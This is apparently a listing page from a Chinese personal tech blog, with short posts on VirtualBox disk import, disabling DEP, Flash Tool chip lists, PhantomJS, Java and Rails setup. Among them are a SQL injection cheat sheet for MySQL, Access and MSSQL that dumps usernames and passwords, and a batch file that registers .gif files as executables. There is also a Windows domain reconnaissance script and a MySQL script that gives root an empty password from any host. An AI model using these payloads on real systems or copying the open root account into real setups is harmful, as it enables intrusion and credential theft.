编程 1 分钟 读完 (约 173 字)

VmWare默认的镜像格式是.vmdk格式的，VirtualBox则默认是.vdi格式的。其实这在VirtualBox新建虚拟机的过程中是可选的。

导入.vmdk格式的镜像到VirtualBox只需要新建一个虚拟机，并且不创建虚拟硬盘。如下图：

无视警告，继续：

创建好之后，在设置里面把.vmdk格式的虚拟硬盘添加进去：

这样就可以了。

如果遇到windows虚拟机起不开的情况，尝试更改下下面这个选项,启用I/O APIC试试。

安全技术 1 分钟 读完 (约 150 字)

Windows XP SP3
在Windows XP SP3中，关闭DEP的方法是：
编辑C:\boot.ini，你大概会看到如下内容

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" 
/noexecute=optin /fastdetect

要关闭DEP，将/noexecute=optin 改为/excute，重启系统即可。

Windows 7
Windows7中不是通过boot.ini来保护了，需要在命令行中输入bcdedit，如果观察到输出的最后一项为
nx 1
表示DEP保护是开启的，并且级别为1
只需要运行

bcdedit /set nx alwaysoff

就可以了，然后重启系统。

编程 6 分钟 读完 (约 869 字)

SPFlashTool version for different MTK processor

SP_Flash_Tool-v3.1224.0.100
MT6516,MT6573,MT6573,MT6575,MT6575,MT6577

SP_Flash_Tool-v3.1332.0.187
MT6516,MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6582,MT8135

SP_Flash_Tool-v3.1344.0.212
MT6516,MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6582,MT8135,MT6592,MT6571

SP_Flash_Tool-v5.1352.01
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT6592

SP-Flash-Tool-v5.1436.00
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752

SP-Flash-Tool-v5.1528.00
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570

SP-Flash-Tool-v5.1532.00
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570,MT6755

SP_Flash_Tool_5.1343
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT6592

SP_Flash_Tool_5.1504
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753

SP_Flash_Tool_5.1520
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570

SP_Flash_Tool_5.1524.00
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570

SP_Flash_Tool_v5.1452
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753

SP_Flash_Tool_v5.1512
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570

SP_Flash_Tool_v5.1516
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570

SP_Flash_Tool_v5.1548
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570,MT6755,MT6797

SP_Flash_Tool_v5.1552
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,
MT6755,MT6797

SP_Flash_Tool_v5.1604
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,
MT6755,MT6750,MT6797

SP_Flash_Tool_v5.1612
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,
MT6755,MT6750,MT6797,MT6757

SP_Flash_Tool_v5.1616_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,
MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6798,MT0507

SP_Flash_Tool_v5.1620_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,
MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6798,MT0507,MT8160,MT0633

SP_Flash_Tool_v5.1624_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,
MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6798,MT0507,MT8167,MT0633

SP_Flash_Tool_v5.1628_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,
MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6799,MT0507,MT8167,MT0633

SP_Flash_Tool_v5.1632_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,
MT6570,MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6799,MT0507,MT8167,MT6570,MT0690

SP_Flash_Tool_v5.1636_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,
MT6570,MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6799,MT6798,MT8167,MT6570,MT0690

SP_Flash_Tool_v5.1640_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,
MT6570,MT6755,MT6750,MT6797,MT6757,MT6757D,ELBRUS,MT6799,MT6798,MT8167,MT6570,MT0690

SP_Flash_Tool_v5.1644_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,
MT6570,MT6755,MT6750,MT6797,MT6757,MT6757D,ELBRUS,MT6799,MT6798,MT8167,MT6570,MT0690

SP_Flash_Tool_v5.1648_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,
MT6570,MT6755,MT6750,MT6797,MT6757,MT6757D,ELBRUS,MT6799,MT6759,MT8167,MT8516,MT6570,MT6763

编程 几秒 读完 (约 88 字)

使用Phantomjs访问网页并截图

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var page = require('webpage').create();

page.onResourceRequested = function(request) {
  console.log('Request ' + JSON.stringify(request, undefined, 4));
    console.log( '---------------------------------------------------------------------' );
};
page.onResourceReceived = function(response) {
  console.log('Receive ' + JSON.stringify(response, undefined, 4));
  console.log( '---------------------------------------------------------------------' );
};

page.open('https://www.baidu.com', function(status) {
      console.log("Status: " + status);
      if(status === "success") {
              page.render('example.png');
            }
      phantom.exit();
});


example.png

example.png

Phantomjs已经接近废弃，如今推荐使用google的headless技术。

安全技术 3 分钟 读完 (约 428 字)

MYSQL篇
1.内置函数和变量 

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@@datadir,version(),database(),user(),load_file(),outfile()

2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例：

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xxx.php?id=1 and 1=2 union select 1,
group_concat(username,0x3a,password),3 from user

3.使用内建数据库查询表段和字段
查表段： 

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xxx.php?id=1 and 1=2 union select 1,2,table_name from 
(select * from information_schema.tables where table_schema=数据库名的hex 
order by table_schema limit 0,1)t limit 1–

查字段： 

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xxx.php?id=1 and 1=2 union select 1,2,column_name from 
(select * from information_schema.columns where table_name=表名的hex 
and table_schema=数据库名hex值 order by 1 limit 1,1)t limit 1–

这里可以再结合下concat的拼接功能 

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xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20) 
from (select * from information_schema.columns where table_name=表名的hex 
and table_schema=数据库名hex值 order by 1 limit 0,n)t limit 1– 
[n表示第n条数据]

Access篇

猜表名

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*.asp?id=1 and exists (select * from admin)

猜列名

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*.asp?id=1 and exists (select password from admin)

Order by查询

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*.asp?id=1 order by 3

union 查询

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*.asp?id=1 union select 1,password,3 from admin

不支持union的情况
先判断内容的长度

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*.asp?id=132 and (select top 1 len(user) from admin) >5

然后一个一个猜

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*.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97

例如确定asc(mid(user,1,1))的值是97，即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜

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*.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97

以此类推

MSSQL篇
基于报错的MSSQL注入：
判断是否是MSSQL

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'and exists (select * from sysobjects) --

如果返回正常，就说明是MSSQL，否则当sysobjects不存在，是会报错的。

猜表名：

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'and exists(select * from admin)--

如果存在，会返回正常页面，否则报错，就是不存在。

编程 几秒 读完 (约 31 字) 
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set JAVA_HOME=C:\Program Files\Java\jdk1.8.0_40
set path=%path%;%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin
set classpath=%classpath%;.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar

安全技术 几秒 读完 (约 45 字) 
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@echo off 
color 1A 
ECHO Windows Registry Editor Version 5.00>gif.reg 
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>gif.reg 
ECHO "Content Type"="application/x-msdownload">>gif.reg 
ECHO @="exefile">>gif.reg 
regedit /s gif.reg>nul 2>nul 
del /s gif.reg>nul 2>nul

安全技术 1 分钟 读完 (约 203 字)

Get System Info 

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@echo off
ipconfig /all
net start
tasklist /v
net user 
net localgroup administrator 
netstat -ano 
net use 
net view
net view /domain
net group /domain
net group "domain users" /domain
net group "domain admins" /domain
net group "domain controllers" /domain
net group "exchange domain servers" /domain
net group "exchange servers" /domain
net group "domain computers" /domain
echo #########system info collection
systeminfo
ver
hostname
net user
net localgroup
net localgroup administrators
net user guest
net user administrator
echo #######at- with   atq#####
echo schtask /query
echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F

Get Task List

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''''''''''''''''''''''''''''''''''''
' tasktool.vbs@b4dboy 
''''''''''''''''''''''''''''''''''''

On Error Resume Next
Dim obj, pross, pid, killName
pid = WScript.Arguments(1)
killName = WScript.Arguments(0)
 
Set obj = GetObject("Winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set pross = obj.Execquery("Select * From Win32_Process")
Wscript.echo "[PID]" & VbTab & "[ProName]"
 
For Each proccess In pross
    If (WScript.Arguments.Count = 2) And (CStr(pid) = CStr(proccess.ProcessID)) Then
        proccess.Terminate 0
    ElseIf Ucase(proccess.Name) = Ucase(killName) Then
        proccess.Terminate 0
    Else
        WScript.echo proccess.ProcessID & VbTab & proccess.Name
    End If
Next

编程 5 分钟 读完 (约 685 字)

默认安装的MySQL数据库，无法远程连接。
登录MySQL之后，运行

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SELECT user,host from mysql.user;

如果只有一条记录，说明是这个原因。
将下面的脚本保存成user.sql，登录MySQL，运行：

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use mysql;
source user.sql;
flush privileges;

Notice: 会重置MySQL user表，并且将root用户密码设置为空。

脚本内容： 点这里直接下载

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SET FOREIGN_KEY_CHECKS=0;

-- ----------------------------
-- Table structure for `user`
-- ----------------------------
USE mysql;
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
  `Host` char(60) COLLATE utf8_bin NOT NULL DEFAULT '',
  `User` char(16) COLLATE utf8_bin NOT NULL DEFAULT '',
  `Password` char(41) CHARACTER SET latin1 COLLATE latin1_bin NOT NULL DEFAULT '',
  `Select_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Insert_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Update_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Delete_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Drop_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Reload_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Shutdown_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Process_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `File_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Grant_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `References_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Index_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Alter_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Show_db_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Super_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_tmp_table_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Lock_tables_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Execute_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Repl_slave_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Repl_client_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_view_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Show_view_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_routine_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Alter_routine_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_user_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Event_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Trigger_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `ssl_type` enum('','ANY','X509','SPECIFIED') CHARACTER SET utf8 NOT NULL DEFAULT '',
  `ssl_cipher` blob NOT NULL,
  `x509_issuer` blob NOT NULL,
  `x509_subject` blob NOT NULL,
  `max_questions` int(11) unsigned NOT NULL DEFAULT '0',
  `max_updates` int(11) unsigned NOT NULL DEFAULT '0',
  `max_connections` int(11) unsigned NOT NULL DEFAULT '0',
  `max_user_connections` int(11) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`Host`,`User`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT='Users and global privileges';

-- ----------------------------
-- Records of user
-- ----------------------------
INSERT INTO `user` VALUES ('localhost', 'root', '', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '', '', '', '', '0', '0', '0', '0');
INSERT INTO `user` VALUES ('127.0.0.1', 'root', '', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '', '', '', '', '0', '0', '0', '0');
INSERT INTO `user` VALUES ('%', 'root', '', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '', '', '', '', '0', '0', '0', '0');
flush privileges;

编程 1 分钟 读完 (约 191 字)

创建项目

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rails new BootstrapProject

创建模型

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rails g scaffold xxx --skip-stylesheets

运行迁移

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rake db:migrate

如果项目和模型都已经建立好了并已经运行了迁移，那么可以省略以上步骤，直接进入下面的流程

在Gemfile中添加bootstrap，这里使用twitter-bootstrap-rails

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gem 'jquery-rails'
gem 'less-rails'
gem 'therubyracer'
gem 'twitter-bootstrap-rails'

bundle

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bundle install

安装bootstrap

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rails g bootstrap:install

在模型上运用bootstrap

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rails g bootstrap:themed xxx -f

注：xxx可以是任意的模型，例如模型名称是Article，那么这里的语句就是：

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rails g bootstrap:themed Articles

还要在application.js中加上引用，否则bootstrap的一些按钮会失效：

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//= require jquery
//= require twitter/bootstrap

Enjoy it~

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